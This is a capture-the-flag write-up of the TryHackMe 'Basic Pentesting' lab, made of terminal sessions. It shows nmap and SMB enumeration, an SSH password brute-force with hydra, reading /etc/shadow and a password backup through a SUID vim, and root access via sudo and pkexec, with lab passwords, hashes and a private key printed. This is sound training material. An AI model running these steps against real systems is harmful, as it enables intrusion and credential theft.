

Basic Pentesting

Scanning and Enumeration

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(moghees@kali)-[~/Desktop/CTF/TryHackMe/basic_pentesting]
$ nmap -A 10.10.15.140 -oN nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-12 11:26 PKT
Nmap scan report for 10.10.15.140
Host is up (0.19s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp    open  http         Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux kernel
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Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2024-01-12T01:27:28-05:00
| smb2-time:
|   date: 2024-01-12T06:27:28
|_  start_date: N/A
|_ nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_ clock-skew: mean: 1h39m59s, deviation: 2h53m13s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.43 seconds
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Webpage

Source code :

Undergoing maintenance

Please check back later

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<html>

<h1>Undergoing maintenance</h1>

<h4>Please check back later</h4>

<!-- Check our dev note section if you need to know what to work on. -->

</html>
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Gobuster :

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u <http://10.10.15.140>

← → ↻ 🏠 ⚠ Not secure 10.10.15.140/development/

📧 Gmail 🔄 LeetCode ⚡ PortSwigger 🛡 APIsec 🐞 pwn 🚀 TryHackMe 📌

Index of /development

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
📁 Parent Directory		-	
📄 dev.txt	2018-04-23 14:52	483	
📄 j.txt	2018-04-23 13:10	235	

Apache/2.4.18 (Ubuntu) Server at 10.10.15.140 Port 80

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

-K

← → ↻ 🏠 ⚠ Not secure 10.10.15.140/development/dev.txt

Gmail LeetCode PortSwigger APIsec pwn TryHackMe picoCTF HTB Aca

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

SMB

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(moghees@kali)-[~/Desktop/CTF/TryHackMe/basic_pentesting]
$ nmap -p 445 --script=smb-enum-shares,nse,smb-enum-users.nse 10.10.15.140
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-12 11:32 PKT
Nmap scan report for 10.10.15.140
Host is up (0.18s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.15.140\Anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\anonymous
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.15.140\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (Samba Server 4.3.11-Ubuntu)
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|_    Current user access: READ/WRITE

Nmap done: 1 IP address (1 host up) scanned in 22.85 seconds

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(moghees@kali)-[~/Desktop/CTF/TryHackMe/basic_pentesting]
$ smbclient //10.10.15.140/Anonymous
Password for [WORKGROUP\moghees]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0  Thu Apr 19 22:31:20 2018
..               D           0  Thu Apr 19 22:13:06 2018
staff.txt        N        173  Thu Apr 19 22:29:55 2018

      14318640 blocks of size 1024. 10821820 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> ^C

(moghees@kali)-[~/Desktop/CTF/TryHackMe/basic_pentesting]
$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

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Now we know the names we can try brute forcing ssh.

Foothold

```
(moghees@kali)-[~/Desktop/CTF/TryHackMe/basic_pentesting]
$ hydra -l "jan" -P /usr/share/wordlists/rockyou.txt ssh://10.10.15.140
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for i
llegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-12 12:20:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://10.10.15.140:22/
[22][ssh] host: 10.10.15.140 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-12 12:20:56
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(moghees@kali)-[~/Desktop/CTF/TryHackMe/basic_pentesting]
$ ssh jan@10.10.15.140
jan@10.10.15.140's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

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Last login: Fri Jan 12 02:20:18 2024 from 10.8.153.207
jan@basic2:~$ █
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Horizontal Privilege Escalation

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jan@basic2:~$ sudo -l
[sudo] password for jan:
Sorry, user jan may not run sudo on basic2.
jan@basic2:~$
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jan@basic2:~$ find / -type f -perm -4000 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/vim.basic
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/passwd
/bin/su
/bin/ntfs-3g
/bin/ping6
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
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vim.basic is unusual

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jan@basic2:~$ /usr/bin/vim.basic /etc/shadow
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kay:$6$0N8W190w$Puwzhgbc2chaNEqWFO/UVH2yJ5zVb3WirwtCxQ5ssr20EMAUyCrHscUNe.KPUhH6ND4CYx9Wwu449W3mrzVtk/:17644:0:99999:7:::
sshd:*:17638:0:99999:7:::
tomcat9:!:17639:0:99999:7:::
jan:$6$Bbz6m7oU$WjYF4ZiF/QuPu1NAzL7bthT8LvIWikymEtX6tZ0WpLHQUmMezuF0CrKQRdxqbP8j03.x.pXv04xDgexxwbII60:17640:0:99999:7:::
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(moghees@kali)~[~/Desktop/CTF/TryHackMe/basic_pentesting]
$ hashcat hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1
[The pocl project]

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* Device #1: cpu-haswell-Intel(R) Core(TM) i5-6300U CPU @ 2.40GHz, 2853/5771 MB (1024 MB allocatable), 4MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

1800 | sha512crypt $6$, SHA512 (Unix) | Operating System
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Taking too long.

```
jan@basic2:~$ /usr/bin/vim.basic /home/kay/pass.bak
```

Got password from here.

Username: **kay**

Password: **heresareallystrongpasswordthatfollowsthepasswordpolicy\$\$**

```
jan@basic2:~$ su kay
Password:
kay@basic2:/home/jan$
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Vertical Privilege Escalation

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kay@basic2:~$ sudo -l
[sudo] password for kay:
Sorry, try again.
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kay may run the following commands on basic2:
    (ALL : ALL) ALL
kay@basic2:~$ sudo su
root@basic2:/home/kay#
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Flag

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kay@basic2:~$ sudo su
root@basic2:/home/kay# cd /root
root@basic2:~# ls
flag.txt
root@basic2:~# cat flag.txt
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!
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If you're in the target audience (newcomers to pentesting), I hope you learned something. A few takeaways from this challenge should be that every little bit of information you can find can be valuable, but sometimes you'll need to find several different pieces of information and combine them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding an obviously outdated, vulnerable service right away with a port scan (unlike the first entry in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and therefore might've been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach out to me.

Happy hacking!

Other Way for Vertical Privilege Escalation :

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kay@basic2:~$ find / -type f -perm -4000 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/vim.basic
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/passwd
/bin/su
/bin/ntfs-3g
/bin/ping6
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
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kay@basic2:~$ sudo pkexec /bin/sh
[sudo] password for kay:
# id
uid=0(root) gid=0(root) groups=0(root)
# █
```


Other way of getting shell as kay :

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jan@basic2:~$ cd /home/kay/.ssh/id_rsa
-bash: cd: /home/kay/.ssh/id_rsa: Not a directory
jan@basic2:~$ cat /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC, 6ABA7DE35CDB65070B92C1F760E2FE75

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